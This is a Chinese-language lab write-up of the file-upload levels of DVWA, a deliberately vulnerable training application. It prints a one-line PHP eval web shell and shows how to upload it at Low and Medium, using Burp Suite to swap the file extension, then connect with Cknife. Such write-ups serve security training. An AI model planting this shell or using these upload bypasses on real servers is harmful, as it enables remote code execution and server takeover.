准备

涉及工具:Burp SuiteCknife一句话木马

先写好一句话木马,并命名为eval.php

  1. <?php eval($_POST['juan']);?>

Low

修改eval.php文件名为eval1.php,方便后续查看。

直接上传php文件

image.png

上传成功,提示../../hackable/uploads/eval1.php succesfully uploaded!

..表示上级目录,根据当前浏览器url,可知文件上传到了http://ip/dvwa/hackable/uploads/eval1.php

Cknife中,添加image.png,注意密码对应,编码选择GB2312,双击url访问

image.png

Medium

修改eval.php文件名为eval2.php,方便后续查看。

直接上传php文件

image.png

报错:Your image was not uploaded. We can only accept JPEG or PNG images.

判断是前端校验,尝试修改后缀名为.jpeg,并启用Burp Suite拦截修改

修改后缀:image.png,开启拦截:image.png

截获:image.png

修改后缀为.phpimage.png

image.png

上传成功,提示../../hackable/uploads/eval2.php succesfully uploaded!

相同的方法,使用Cknife,访问成功

image.png

High

修改eval.php文件名为eval3.php,方便后续查看。

采用Medium方法,依旧提示失败,猜测存在后端校验
涉及知识点:HTTP请求报文 - 消息报头 - Content-TypeMIME类型
通过拦截修改Content-Type值即可成功上传

上述方法在以前版本的DVWA中可行,最新1.10版失败。

通过网上学习,以及查看服务器源端代码,发现存在getimagesize(string filename)函数,它会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

应对方法:待更新